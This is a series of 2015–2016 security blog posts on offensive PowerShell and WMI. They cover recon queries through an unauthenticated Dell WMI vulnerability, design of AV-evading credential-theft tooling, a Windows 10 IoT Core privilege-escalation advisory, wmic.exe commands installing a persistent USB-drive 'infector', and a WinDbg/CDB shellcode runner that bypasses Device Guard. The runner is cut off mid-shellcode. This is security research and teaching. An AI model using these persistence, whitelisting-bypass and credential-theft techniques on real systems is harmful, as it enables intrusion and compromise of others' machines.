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Before yesterdayExploit Monday

Thoughts on Exploiting a Remote WMI Query Vulnerability

3 December 2015 at 03:39
On December 1, 2015, a really interesting vulnerability was disclosed in the Dell Foundation Services software. If installed, a SOAP service will listen on port 7779 and grant an attacker the ability to execute unauthenticated WMI queries. I can’t say I’ve ever encountered such a vulnerability class so this posed an interesting thought exercise into how an attacker might effectively exploit such a vulnerability beyond just using the queries to conduct host recon. Specifically, this vulnerability only allows an attacker to query WMI object instances within the default namespace – ROOT/CIMv2. This means that you cannot invoke WMI methods or perform event registration - i.e. this is not a remote code execution vulnerability.


I released a PoC PowerShell exploit that allows you to easily view and parse WMI query output from a vulnerable host. The script could be used to test the exploit locally assuming you have a Dell computer to test on. The vulnerable software can be obtained from Dell. Specifically, the vulnerable function is contained within Dell.Tribbles.Agent.Plugins.SystemInfo.dll.


So what kinds of things could an attacker do that would give them the greatest bang for their buck? For starters, let’s say you wanted to list all available classes within the ROOT/CIMv2 namespace as a means of determining the attack surface?


PS C:\> Get-DellFoundationServicesWmiObject -IPAddress 127.0.0.1 -Query 'SELECT * FROM Meta_Class'


What you will find is that there is a sea of WMI classes. We’ll need to find the diamonds in the rough. Here is an extremely non-comprehensive list of what I came up with in conjunction with Sean Metcalfand Carlos Perez:


File listing for a specific directory. e.g. C:\ or search by extension

SELECT * FROM CIM_DataFile WHERE Drive="C:" AND Path="\\"

SELECT * FROM CIM_DataFile WHERE Extension="xlsx"


Process listing (including command-line invocation which could possibly include credentials)

SELECT * FROM Win32_Process


List all services

SELECT * FROM Win32_Service


Account/group enumeration

SELECT * FROM Win32_Account

SELECT * FROM Win32_UserAccount

SELECT * FROM Win32_Group

SELECT * FROM Win32_LoggedOnUser


List startup programs present in the

 registry and Start Menu

SELECT * FROM Win32_StartupCommand


OS/Hardware info

SELECT * FROM Win32_BIOS

SELECT * FROM Win32_ComputerSystem # Uptime, logged-in user, etc.

SELECT * FROM Win32_OperatingSystem


Hard disk enumeration

SELECT * FROM Win32_DiskDrive

SELECT * FROM Win32_DiskPartition

SELECT * FROM Win32_LogicalDisk

SELECT * FROM Win32_Volume

SELECT * FROM Win32_MountPoint


List system environment variables

SELECT * FROM Win32_Environment


List network devices and configurations

SELECT * FROM Win32_NetworkAdapter

SELECT * FROM Win32_NetworkAdapterConfiguration # Shows assigned IPs


List mapped shares

SELECT * FROM Win32_Share


Obviously, there are a ton of classes that I may be missing that you may find to be useful but these were the ones that stood out to me. Now, beyond performing simple recon actions, what other WMI queries might be impactful, enable leaks of extremely sensitive information, enable further exploitation, or cause system instability? Here are some queries I came up with:


Ping sweep. This could be used to conduct basic internal scanning.

SELECT * FROM Win32_PingStatus WHERE Address="10.10.0.1"


SELECT * FROM Win32_Product


List installed patches. i.e. Determine which patches are not installed.

SELECT * FROM Win32_QuickFixEngineering


Dump event logs. e.g. dump System log. This is the most sensitive info leak I can think of.

SELECT * FROM Win32_NtLogEvent WHERE Logfile="System"



If you can think of any additional classes that would go above and beyond host recon, please let me know on Twitter!

WMI object correlation using ASSOCIATORS OF

4 December 2015 at 18:16
tl;dr

While this post isn’t directly related to infosec, infosec pros who work with WMI should take note as there are some powerful queries that could be performed for both offense and defense. The point of this post is to shed some light on ASSOCIATORS OF and show how powerful connections can be made between related WMI objects.


Until recently, I found the ASSOCIATORS OF WMI query language statement to be very confusing. I understood it in theory – it links one “associated” WMI object with another. A lot of articles on the subject will use the following canonical example showing related objects to a Win32_LogicalDisk instance where its DeviceID is “C:”:

ASSOCIATORS OF {Win32_LogicalDisk.DeviceID="C:"}

This query returns an instance of a Win32_Directory, Win32_ComputerSystem, and Win32_DiskPartition. Okay. That’s great and all but where did you come up with the DeviceID property as a requirement and how can I know what classes might be associated with Win32_LogicalDisk? It’s those questions that I feel existing articles never commented on. That said, allow me to explain.

Let’s say I’m interested in finding WMI classes that might be related (i.e. associators of) to CIM_DataFile. For example, one attribute that I find lacking in CIM_DataFile is file ownership and ACL information. Let’s see if we can maybe obtain that information. First, I’ll get a CIM_DataFile instance of a file I’m interested in – C:\foo.txt

PS C:\> Get-WmiObject CIM_DataFile -Filter 'Name="C:\\foo.txt"' | Format-List *


PSComputerName        : TESTPC
Status                : OK
Name                  : c:\foo.txt
__GENUS               : 2
__CLASS               : CIM_DataFile
__SUPERCLASS          : CIM_LogicalFile
__DYNASTY             : CIM_ManagedSystemElement
__RELPATH             : CIM_DataFile.Name="c:\\foo.txt"
__PROPERTY_COUNT      : 33
__DERIVATION          : {CIM_LogicalFile, CIM_LogicalElement,
                        CIM_ManagedSystemElement}
__SERVER              : TESTPC
__NAMESPACE           : root\cimv2
__PATH                : \\TESTPC\root\cimv2:CIM_DataFile.Name="c:\\foo
                        .txt"
AccessMask            : 1179817
Archive               : True
Caption               : c:\foo.txt
Compressed            : False
CompressionMethod     :
CreationClassName     : CIM_LogicalFile
CreationDate          : 20151204080026.605819-480
CSCreationClassName   : Win32_ComputerSystem
CSName                : TESTPC
Description           : c:\foo.txt
Drive                 : c:
EightDotThreeFileName : c:\foo.txt
Encrypted             : False
EncryptionMethod      :
Extension             : txt
FileName              : foo
FileSize              : 13
FileType              : Text Document
FSCreationClassName   : Win32_FileSystem
FSName                : NTFS
Hidden                : False
InstallDate           : 20151204080026.605819-480
InUseCount            :
LastAccessed          : 20151204080026.749820-480
LastModified          : 20151204080026.751820-480
Manufacturer          :
Path                  : \
Readable              : True
System                : False
Version               :
Writeable             : True
Scope                 : System.Management.ManagementScope
Options               : System.Management.ObjectGetOptions
ClassPath             : \\TESTPC\root\cimv2:CIM_DataFile
Properties            : {AccessMask, Archive, Caption, Compressed...}
SystemProperties      : {__GENUS, __CLASS, __SUPERCLASS, __DYNASTY...}
Qualifiers            : {dynamic, Locale, provider, UUID}
Site                  :
Container             :


You can quickly determine which property to use as a “key” in an ASSOCIATORS OF query by looking at the __RELPATH property which is showing the Name property as our key.

So now I want to know what classes are associated with my CIM_DataFile instance. The following query will return class definitions instead of the associated object instances:

PS C:\> Get-WmiObject -Query 'ASSOCIATORS OF {Cim_DataFile.Name="C:\\foo.txt"} WHERE ClassDefsOnly'


   NameSpace: ROOT\cimv2

Name                                Methods              Properties           
----                                -------              ----------           
Win32_Directory                     {TakeOwnerShip, C... {AccessMask, Archiv...
Win32_LogicalFileSecuritySetting    {GetSecurityDescr... {Caption, ControlFl...

So we now know that there are two classes associated with Cim_DataFile – Win32_Directory and Win32_LogicalFileSecuritySetting. If you look at the MSDN documentation for Win32_LogicalFileSecuritySetting, you’ll see that its GetSecurityDescriptor method will return the ACL for the file. Great!

I can now run the following query and get the associated Win32_Directory and Win32_LogicalFileSecuritySetting class instances:

ASSOCIATORS OF {Cim_DataFile.Name="C:\\foo.txt"}

But let’s say I’m only interested in returning instances of type Win32_LogicalFileSecuritySetting? The following query will get the job done:

ASSOCIATORS OF {Cim_DataFile.Name="C:\\foo.txt"} WHERE AssocClass=Win32_SecuritySettingOfLogicalFile

So you may now be wondering, “Where did Win32_SecuritySettingOfLogicalFile come from???”

In order to constrain an association query to a particular type of class instance, you must specify the association class that links the two classes together. You can get the association class by using the REFERENCES OF statement:

PS C:\> Get-WmiObject -Query 'REFERENCES OF {Cim_DataFile.Name="C:\\foo.txt"} WHERE ClassDefsOnly'


   NameSpace: ROOT\cimv2

Name                                Methods              Properties           
----                                -------              ----------           
CIM_DirectoryContainsFile           {}                   {GroupComponent, Pa...
Win32_SecuritySettingOfLogicalFile  {}                   {Element, Setting}   


So now you can see where the association class came from.

Finally, let’s tie everything together and retrieve the following info from foo.txt – file owner, full path, file size, and MAC times.

$CimDataFile = Get-WmiObject CIM_DataFile -Filter 'Name="C:\\foo.txt"'

$FileSecuritySetting = Get-WmiObject -Query "ASSOCIATORS OF {CIM_DataFile.Name=`"$($CimDataFile.Name.Replace('\','\\'))`"} WHERE AssocClass=Win32_SecuritySettingOfLogicalFile"

$FileACL = $FileSecuritySetting.GetSecurityDescriptor().Descriptor

$FileOwner = "{0}\{1}" -f $FileACL.Owner.Domain, $FileACL.Owner.Name

$Modified = [Management.ManagementDateTimeConverter]::ToDateTime($CimDataFile.LastModified)
$Accessed = [Management.ManagementDateTimeConverter]::ToDateTime($CimDataFile.LastAccessed)
$Created =  [Management.ManagementDateTimeConverter]::ToDateTime($CimDataFile.CreationDate)

$DocProperties = [Ordered] @{
    FileOwner = $FileOwner
    FullPath = $CimDataFile.Name
    FileSize = $CimDataFile.FileSize
    Modified = $Modified
    Accessed = $Accessed
    Created = $Created
}

New-Object PSObject -Property $DocProperties

FileOwner : BUILTIN\Administrators
FullPath  : c:\foo.txt
FileSize  : 13
Modified  : 12/4/2015 8:00:26 AM
Accessed  : 12/4/2015 8:00:26 AM
Created   : 12/4/2015 8:00:26 AM

So I hope that helps explain things a little bit better with regard to ASSOCIATORS OF. Personally, after figuring out what I did, I was still left wondering, “How could I enumerate all association classes and list out the classes they link?” After poking around with the WMI schema a bit, I came up with the following quick and dirty PSv3 script to do just that:

function Get-AssociatedClassRelationship {
    param (
        [String]
        $Namespace = 'root/cimv2'
    )

    Get-CimClass -Namespace $Namespace | ? { $_.CimClassQualifiers['Association'] -and (-not $_.CimClassQualifiers['Abstract']) } | % {
        $KeyQualifiers = @($_.CimClassProperties | ? { $_.Qualifiers['key'] })

        if ($KeyQualifiers.Count -eq 2) {
            $Properties = [Ordered] @{
                AssociationClassName = $_.CimClassName
                LinkedClassName1 = $KeyQualifiers[0].ReferenceClassName
                LinkedClassName2 = $KeyQualifiers[1].ReferenceClassName
            }

            New-Object PSObject -Property $Properties
        }
    }
}

So now, hopefully you’re armed with just enough information to begin forming association queries as well as discovering which associations exist!

Offensive Tool Design and the Weaponization Dilemma

18 December 2015 at 19:57
With the impending reboot of PowerSploit, partly commissioned by my new employer (Veris Group - Adaptive Threat Division), I’ve been writing a lot of new PowerShell code and refactoring some old code all while attempting to apply more formal software development practices – behavior driven development with Pester being a major example. Now, just to make things clear, I am not a formally trained software engineer. I’ve worked with some very bright ones however, and they instilled in me many formal development principles. PowerSploit has come a long way from its humble beginning as a horribly written shellcode runner to where it is now – still leaving much to be desired, in my opinion. Regardless, as with all code you’ve written, you look back at your old code and become disgusted with your former self.

As PowerSploit has grown and matured ever so slowly, I began to formalize how I thought offensive PowerShell code should be written – in other words, being mindful of the ease of weaponization and ease of use for the end-user pentester or red teamer. For example, I’ve asked the following of those wanting to commit new code to PowerSploit:

  1. Code should be designed to be modular: i.e. functionality should be encapsulated in the form of a function, not a script. Scripts are designed to be executed from disk – something we want to avoid as attackers.
  2. I strongly emphasized that code should be self-contained: i.e. weaponized code should not be in the business of resolving dependencies. This makes sense to a point. If you’re going to execute a PowerShell payload from a simple download cradle, what you download needs to contain the entire payload that you want to execute. As a result, most code in PowerSploit is categorized appropriately and grouped logically into single psm1 files that can be easily staged via a download cradle.

Recently, I’ve been a little harder on myself wanting to simplify code and what has resulted is what I think warrants a discussion on the trade-offs of software design and weaponization. As a perfect example, I removed Metasploit payload support from Invoke-Shellcode. Why? Because I think a function should do one thing and do it well. People have used Invoke-Shellcode extensively with the built-in Metasploit support and I know some will be upset. Here was my rationale in making that decision:

  1. I only supported 32-bit HTTP and HTTPS meterpreter stagers. Metasploit contains so many more payloads that I could have supported but then I would have had to maintain all of them. I don’t want that job.
  2. The Metasploit support was simple in practice. I simply downloaded the staged payload and executed the shellcode as a byte array. But my question was: why should Invoke-Shellcode be downloading anything? Shouldn’t it just execute shellcode? After all, Invoke-WebRequest is built-in to PowerShell and it’s proxy aware! Also, there’s a million different mechanisms by which you might want to obtain a shellcode payload – DNS TXT records, UDP, etc.
  3. Metasploit payloads can easily be generated with msfvenom.

Another design consideration involves code like Invoke-Mimikatz. Invoke-Mimikatz, loved by many, is a glorified wrapper around Invoke-ReflectivePEInjection – an amazing in-memory PE loader. There are several functions in PowerSploit that utilize Invoke-ReflectivePEInjection and it’s a huge maintenance headache when updates need to be made to Invoke-ReflectivePEInjection because there are at least three other functions that embed Invoke-ReflectivePEInjection that need to be updated too.

So here’s my personal pitch: I would advocate that all functions serve one single purpose and serve that single purpose well and that dependencies should be maintained separately. For example, rather than embedding Invoke-ReflectivePEInjection in InvokeMimkatz, it should call Invoke-ReflectivePEInjection and annotate Invoke-ReflectivePEInjection as a dependency (a practice I’ve implemented for a long time). Naturally, the problem with that approach would result in a more concerted weaponization effort. A red team operator would need to make sure that all dependencies were included in their intended payload – a potential operational headache. Empire modules can easily resolve these dependencies though by automatically declaring and combining dependencies which would be completely transparent to an operator. So Empire is a great example of weaponization done right all while enabling a developer like myself to separate out and simplify the logic in my attack tools.

So in my mind, the debate comes down to the following two arguments:

  1. Modularize everything. A function/cmdlet should do one thing and do it well. Dependency resolution would then be a requirement for weaponization.
  2. Package everything together so that users can immediately start using your offensive toolset without having to worry about stitching together an arbitrary list of dependencies.

As one of the primary devs of PowerSploit, I make the argument for #1 for the following reasons:

  1. Make my life easier, people! :P
  2. I feel that operators should have the flexibility of mixing and matching the functionality (or weaving a tapestry of evil, if you will ;) ) that they want to use. This does require more extensive knowledge of the language they’re using though – in this case, PowerShell.
  3. It makes code easier to maintain and easier for external contributions.
  4. Regarding PowerSploit specifically, my vision for it is that it should be a suite of tools to enable operators to pick, choose, and deploy the functionality they want. I prefer that PowerSploit not focus on weaponization because you have mature platforms like Empire and Cobalt Strike that already aim to solve that problem.

All that said, I hope I can open up a good dialog on the virtues of offensive software development and weaponization. Obviously, such a topic doesn’t apply to just PowerShell so I’d love to hear the opinions of those coping with my same struggles.

The PowerSploit Manifesto

22 December 2015 at 13:30
It’s been a long journey and after so many years of learning PowerShell, starting to learn better software engineering disciplines, developing a large open source, offensive PowerShell project, using it in the field, and observing how others use it in the field, I feel compelled to provide a clearer vision for the direction in which I’d like to see PowerSploit go. Before I delve into what my vision is and the rationale for the vision, let’s get some perspective on some things.

The PowerShell Capabilities Matrix

I think the offensive usage of PowerShell can be bucketed into the following, non-mutually exclusive categories:

  1. You primarily use the benefits of PowerShell (e.g. facilitation of memory residence) to supplement a mostly non-PowerShell workflow. In other words, your workflow consists primarily of leveraging an existing framework like Metasploit, Empire, Cobalt Strike, etc. to seamlessly build and deliver payloads, irrespective of the language used to implement the payload.
  2. You recognize the value of PowerShell for conducting many phases of an operation in a Windows environment. You're not a tool developer but you need to be able to have a large offensive library to choose from that can be tailored to your engagement.
  3. You are a capable PowerShell tool developer and operator where modularity of the toolset is crucial because your operations are extremely tailored to a specific environment where stealth and operational effectiveness is crucial.

Mattifestation Goal #1: To build a library of capabilities catered to #3 that can ultimately trickle down to #1.

Operational Requirements and Design Challenges

Consider the following requirement from your Director of Offensive Operations:

Objective: We need the ability to capture the credentials of a target and not get caught doing so.

Let’s pretend that such a capability doesn’t exist yet. Two things were explicitly asked of us: 1) Capture target credentials and 2) don’t get caught.

The operations team leads get together and brainstorm how to achieve the director’s relatively vague objective. Each team lead knows that they all have unique operational constraints depending on the target so they come up with the following requirements for the developers:

  1. Mimikatz has proved to be an extremely effective tool for capturing credentials but we worry about it getting flagged by AV so we need you to load it in memory.
  2. Depending on the firewall restrictions and listening services on a target, multiple comms protocols will be required to both deploy and get Mimikatz results back to the operator. We need to be prepared with what the target will throw us.
  3. Because we’ll be dealing with sensitive data, we need to encrypt the Mimikatz results.
The developer, being a huge PowerShell fanboy has convinced the director and ops leads that it can accomplish every one of these achieved goals, all while keeping everything memory resident.

So the developer now has some basic requirements necessary to knock out the objectives of the ops team leads and director. The decision then becomes, how to package all of the implemented capabilities?

The developer could develop a “one size fits all” solution that encompasses all of the requirements into a single function – let’s call it Get-AllTheCreds. Such a tool would be great. It would give the operators everything they need in a simple, already pre-weaponized package. Problem solved. They now have an effective credential harvesting capability that works over multiple protocols. Everyone is happy. That is, until the director dictates a new requirement: we need the ability to steal files from a target without getting caught…

After a while, as the requirements grow, the developers quickly learn that development of the “one size fits all” solutions that their operators have loved isn’t going to scale. Instead, the developer proposes writing the following tools that can be stitched together as the ops lead sees fit:

Payload delivery
Invoke-Command - for WinRM payload deployment
Invoke-WmiCommand - for WMI payload deployment

Optional communications functionality
Send-TCPData
Send-UDPData
Send-ICMPData
Send-DropboxData
Receive-TCPData
Receive-UDPData
Receive-ICMPData
Receive-DropboxData

In-memory PE loader used to load Mimikatz or any other PE
Invoke-ReflectivePEInjection

Data encryption
Out-EncryptedText

This approach scales really well as it allows a developer to create and test each unit of functionality independently resulting in more modular and more reliable code. It also enables the operator to leverage only the minimal amount of functionality needed to carry out a targeted operation. At the same time though it places an additional burden upon the operator is that they will be required to decide which functions to include in their weaponized payload.

Mattifestation Goal #2: As one of the core developers of PowerSploit, I don't want to be in the game of deciding how people use PowerShell to carry out their operations. Rather, I want to be in the game of providing an arsenal of capabilities to the decision maker.

This decision has led to some discontent amongst those who want a fully pre-weaponized product and understandably so. Up until this point, the tools in PowerSploit haven’t had any dependencies. The problem as a developer is that this doesn’t scale if PowerSploit is to grow and it leaves the developer of the capabilities inferring what the “one size fits all” solution might be.

The Good ol’ Days...

Mattifestation Goal #3: Do your best to not alienate your existing user base and don't force them to resolve complicated dependencies.

Goal #3 is where the challenge lies in trying to cater to everyone. I want to modularize everything in PowerSploit but then that would leave many frustrated trying to ensure that they have all the dependencies they need. So what @harmj0y and I propose is the following:

  1. Modularize everything in PowerSploit. As in, make it a proper PowerShell module. Those who use it as a module won't have any dependencies to worry about because PowerShell modules are designed to resolve all dependencies. Modules are a beautiful thing in PowerShell for those who aren’t aware. They just aren’t feasible for in-memory weaponization.
  2. Most people in the business of using offensive PowerShell won’t use PowerSploit as a module on their target. For frameworks like Empire, Cobalt Strike, etc. that offer PowerShell weaponization, they will need a way to resolve and merge dependencies prior to payload deployment. For functions that require dependencies, we will include a machine-parsable list of required dependencies. These won’t be external dependencies but merely just a list of PowerSploit functions required by another PowerSploit function. We have made the decision that we will never require any dependencies not present in PowerSploit.
  3. People will likely want to use PowerSploit functions outside of a formal framework so for those people, we will provide dependency resolution scripts written in both PowerShell (e.g. Get-WeaponizedPayload) and Python that perform the tasks that follow. Providing this capability, while adding a mandatory step for users will solve the dependency issue and it will ensure that a script is produced that includes only the required functionality.
    1. Take a list of PowerSploit functions and generate a script that includes all of them with their required dependencies merged
    2. Generate a script that includes all functions and merged dependencies from a specified submodule – e.g. the Recon submodule which includes PowerView
    3. Takes a script or scriptblock as input, parses it and prepends any dependencies to a resulting output script
  4. We’re still debating how this solution would scale but the idea would be to also include a “release build” that would include all of the resolved dependencies for many of the most popular PowerSploit functions/submodules. An example of how this doesn’t scale well is in PowerView. PowerView relies upon the PSReflect library for calling Win32 API functions. PSReflect is a fairly sizeable chunk of code so would you want to include it every single PowerView function? That would result in unnecessary bloat. So you could prepend the PSReflect lib to all of the PowerView functions but then you get everything together as one large package and what if you only want to deploy a couple PowerView functions? This is just one of several reasons why I don’t think this option would scale but perhaps we could use this to throw a bone to those content with “the way things were” for a period of time.
The Future

We intend to incorporate these changes in the next major release of PowerSploit. By incorporating these proposed changes, what you'll see is a large increase in the code base and hopefully reduced dwell time in acceptance of new pull requests and issue handling. For example, I was reluctant to accept any new wrappers for Invoke-ReflectivePEInjection due to duplicate code being sprayed all over the place. Also, this more modular design paradigm will allow PowerSploit developers to focus on developing unique comms functionality independent of other capabilities. By moving forward with these changes, I can say that I will personally remain dedicated to moving PowerSploit forward and I hope that my enthusiasm will rub off on those wanting to contribute, weaponize these capabilities, and those just wanting to up excel their tradecraft. Lastly, you'll begin to hear me make more of a concerted effort to brand PowerSploit as an "offensive capabilities library" versus a framework. Nor should PowerSploit be considered a "pentest tool." Metasploit and Cobalt Strike are frameworks that weaponize and deploy payloads irrespective of the language used on the target. PowerSploit is a language-specific library that aims to empower the operator who has warmly welcomed PowerShell into their methodology.

As a final thought and plea, it is my expectation and hope that all pentesters and red teamers learn PowerShell. It is a required skill for so many reasons, many of which I’ve outlined here. Stop putting it off! Do effective pentesters and red teamers in a Linux environment get away without knowing simple bash scripting and command-line usage? No! So the next time you’re in a situation with some hacker buddies where you have hands on a machine and want to impress, are you going to choose the black screen or the blue screen???

Properly Retrieving Win32 API Error Codes in PowerShell

1 January 2016 at 20:38
Having worked with Win32 API functions enough in PowerShell using P/Invoke and reflection, I was constantly annoyed by the fact that I was often unable to correctly capture the correct error code from a function that sets its error code (by calling SetLastError) prior to returning to the caller despite setting SetLastError to True in the DllImportAttribute.


Consider the following, simple code that calls CopyFile within kernel32.dll:


$MethodDefinition = @'

[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]

public static extern bool CopyFile(string lpExistingFileName, string lpNewFileName, bool bFailIfExists);

'@


$Kernel32 = Add-Type -MemberDefinition$MethodDefinition -Name'Kernel32' -Namespace'Win32' -PassThru


# Perform an invalid copy

$CopyResult = $Kernel32::CopyFile('C:\foo2', 'C:\foo1', $True)


# Retrieve the last error for CopyFile. The following error is expected:

# "The system cannot find the file specified"

$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()


# An incorrect error is retrieved:

# "The system could not find the environment option that was entered"

# Grrrrrrrrrrrrrrrrr...


$LastError


I knew that you needed to retrieve the last error code immediately after a call to a Win32 function so naturally, I would have expected the correct error code. The one returned was consistently nonsensical, however. I don’t really know how I thought to try the following but I finally figured out how to properly capture the correct error code after an unmanaged function call – capture the error code on the same line (i.e. immediately after a semicolon). Apparently, the simple act of progressing to the next line in a PowerShell console is enough for your thread to set a different error code…


The following code demonstrates how to accurately capture the last set error code:


$MethodDefinition = @'

[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]

public static extern bool CopyFile(string lpExistingFileName, string lpNewFileName, bool bFailIfExists);

'@


$Kernel32 = Add-Type -MemberDefinition$MethodDefinition -Name'Kernel32' -Namespace'Win32' -PassThru


# Perform an invalid copy

$CopyResult = $Kernel32::CopyFile('C:\foo2', 'C:\foo1', $True);$LastError =[ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()


# The correct error is retrieved:

# "The system cannot find the file specified"

# Yayyyyyyyyyyy....


$LastError


That’s all. I felt it was necessary to share this as I’m sure others have encountered this issue and were unable to find any solution on the Internet as it pertained to PowerShell.


Happy New Year!

Misconfigured Service ACL Elevation of Privilege Vulnerability in Win10 IoT Core Build 14393

25 July 2016 at 12:20
As of this writing, the latest public preview of Windows 10 IoT Core (build 14393) suffers from an elevation of privilege vulnerability via a misconfigured service ACL. The InputService service which run as SYSTEM grants authenticated users (i.e. members of the “NT AUTHORITY\Authenticated Users” group) SERVICE_ALL_ACCESS access rights, allowing an unprivileged, authenticated user to change the binary path of the service and gain elevated code execution upon restarting the service.

For reference, you can validate that InputService runs as SYSTEM with the following commands:

$InputService = Get-CimInstance -ClassName Win32_Service -Filter 'Name = "InputService"'

$InputService.StartName

Get-CimInstance -ClassName Win32_Process -Filter "ProcessId=$($InputService.ProcessId)" | Invoke-CimMethod -MethodName GetOwner

This trivial vulnerability was discovered while running the Get-CSVulnerableServicePermission function in CimSweep against an IoT Core instance running on my Raspberry Pi 2. CimSweep is designed to perform incident response and hunt operations entirely over WMI/CIM.

Exploitation

I wrote a proof of concept exploit that simply adds an unprivileged user to the Administrators group.

While this is a classic service misconfiguration vulnerability, there are several caveats to be mindful of when exploiting it on Win 10 IoT Core. First of all, IoT Core is designed to be managed remotely and for that, you are given two remote management options: PowerShell Remoting and SSH. I chose to use PowerShell Remoting in my PoC exploit primarily to point out that the default SDDL for PowerShell Remoting in IoT Core requires that users be members of the “Remote Management Users” group. Additional information on administering IoT Core with PowerShell can be found here. For reference, the default SDDL for PowerShell Remoting can be obtained and interpreted with the following command:

Get-PSSessionConfiguration -Name microsoft.powershell | Select-Object -ExpandProperty Permission

There is no such group membership requirement for SSH. Hopefully, at a future point, SSH endpoints on Windows will have the granular security controls that PowerShell Remoting offers via the PSSessionConfiguration cmdlets. Some additional caveats were that when I remoted in as an unprivileged user, I did not have sufficient privileges to use the Service cmdlets (Get-Service, Set-Service, etc.) or CIM cmdlets (Get-CimInstance, Invoke-CimMethod, etc.) in order to change the service configuration. Fortunately, sc.exe presented no such restrictions.

Conclusion

While this is by no means a “sexy” vulnerability, the fact that such a trivial vulnerability was present in a modern Windows OS tells me that perhaps Win 10 IoT Core isn’t getting the security scrutiny of other Windows operating systems. I hope that many of the same security controls and mitigations will eventually be applied to IoT Core if the plan is for this to be the operating system that drives critical infrastructure.

Lastly, if you’re attending Black Hat USA 2016, you should plan on attending Paul Sabanal’s (@polsab) talk on Windows 10 IoT Core!

Disclosure Timeline

May 22, 2016 – Vulnerability reported to MSRC
May 23, 2016 – MSRC opened a case number for the issue.
July 20, 2016 – Follow-up email sent to MSRC asking for a status update. No response received
July 25, 2016 – Decision made to release the vulnerability details

WMI Persistence using wmic.exe

12 August 2016 at 15:57
Until recently, I didn’t think it was possible to perform WMI persistence using wmic.exe but after some experimentation, I finally figured it out. To date, WMI persistence via dropping MOF files or by using PowerShell has been fairly well documented but documentation on performing this with wmic.exe doesn’t seem to exist. I won’t get into the background of WMI persistence in this article as the concepts are articulated clearly in the two previous links. The challenge in using wmic.exe to perform WMI persistence is that when creating an instance of a __FilterToConsumerBinding class, it requires references to an existing __EventFilter and __EventConsumer. It turns out that you can reference existing WMI objects in wmic.exe using the syntax provided in a WMI object’s __RELPATH property! Okay. Enough theory. Let’s dive into an example.


In this example, we’re going to use wmic.exe to create a PoC USB drive infector that will immediately drop the EICAR string to eicar.txt in the root folder of any inserted removable media.


1) Create an __EventFilter instance.


wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="VolumeArrival", QueryLanguage="WQL", Query="SELECT * FROM Win32_VolumeChangeEvent WHERE EventType=2"


2) Create an __EventConsumer instance. CommandLineEventConsumer in this example.


wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="InfectDrive", CommandLineTemplate="powershell.exe -NoP -C [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo=')) | Out-File %DriveName%\eicar.txt"


3) Obtain the __RELPATH of the __EventFilter and __EventConsumer instances. This built-in, system property provides the object instance syntax needed when creating a __FilterToConsumerBinding instance.


wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list


4) Create a __FilterToConsumerBinding instance. The syntax used for the Filter and Consumer properties came from the __RELPATH properties in the previous step.


wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"VolumeArrival\"", Consumer="CommandLineEventConsumer.Name=\"InfectDrive\""


At this point, the USB drive infector is registered and running!


5) Optional: Remove all instances - i.e. unregister the permanent WMI event subscription.


wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="VolumeArrival" DELETE

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="InfectDrive" DELETE


So that’s all there is to it! Hopefully, this will be a useful tool to add to your offensive WMI arsenal!

Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner

15 August 2016 at 14:16
Imagine you’ve gained access to an extremely locked down Windows 10 host running Device Guard. The Device Guard policy is such that all PEs (exe, dll, sys, etc.) must be signed by Microsoft. No other signed code is authorized. Additionally, a side effect of Device Guard being enabled is that PowerShell will be locked down in constrained language mode so arbitrary code execution is ruled out in the context of PowerShell (unless you have a bypass for that, of course). You have a shellcode payload you’d like to execute. What options do you have?


You’re an admin. You can just disable Device Guard, right? Nope. The Device Guard policy is signed and you don’t have access to the code signing cert to sign and plant a more permissive policy. To those who want to challenge this claim, please go forth and do some Device Guard research and find a bypass. For us mere mortals though, how can we execute our shellcode considering we can’t just disable Device Guard?


The obvious solution dawned on me recently: I simply asked myself, “what is a tool that’s signed by Microsoft that will execute code, preferably in memory?” WinDbg/CDBof course! I had used WinDbg a million times to execute shellcode for dynamic malware analysis but I never considered using it as a generic code execution method for malware in a signed process. Now, in order to execute a shellcode buffer, there are generally three requirements to get it to execute in any process:


1)      You need to be able to allocate at least RX memory for it. In reality, you’ll need RWX memory though if the shellcode is self-modifying – i.e. any encoded Metasploit shellcode.

2)      You need a mechanism to copy the shellcode buffer to the allocated memory.

3)      You need a way to direct the flow of execution of a thread to the shellcode buffer.


Fortunately, WinDbg and CDB have commands to achieve all of this.


1)  .dvalloc [Size of shellcode]


Allocates a page-aligned RWX buffer of the size you specify.


2)  eb [Shellcode address] [Shellcode byte]


Writes a byte to the address specified.


3)  r @$ip=[Shellcode address]


Points the instruction pointer to the address specified. Note: $ip is a generic, pseudo register that refers to EIP, RIP, or PC depending upon the architecture (x86, amd64, and ARM, respectively).


With those fundamental components, we have pretty much everything we need to implement a WinDbg or CDB shellcode runner. The following proof-of-concept example will launch 64-bit shellcode (pops calc) in notepad.exe. To get this running, just save the text to a file (I named it x64_calc.wds) and launch it with the following command: cdb.exe -cf x64_calc.wds -o notepad.exe


$$ Save this to a file - e.g. x64_calc.wds

$$ Example: launch this shellcode in a host notepad.exe process.

$$ cdb.exe -cf x64_calc.wds -o notepad.exe


$$ Allocate 272 bytes for the shellcode buffer

$$ Save the address of the resulting RWX in the pseudo $t0 register

.foreach /pS 5  ( register { .dvalloc 272 } ) { r @$t0 = register }


$$ Copy each individual shellcode byte to the allocated RWX buffer

$$ Note: The `eq` command could be used to save space, if desired.

$$ Note: .readmem can be used to read a shellcode buffer too but

$$   shellcode on disk will be subject to AV scanning.

;eb @$t0+00 FC;eb @$t0+01 48;eb @$t0+02 83;eb @$t0+03 E4

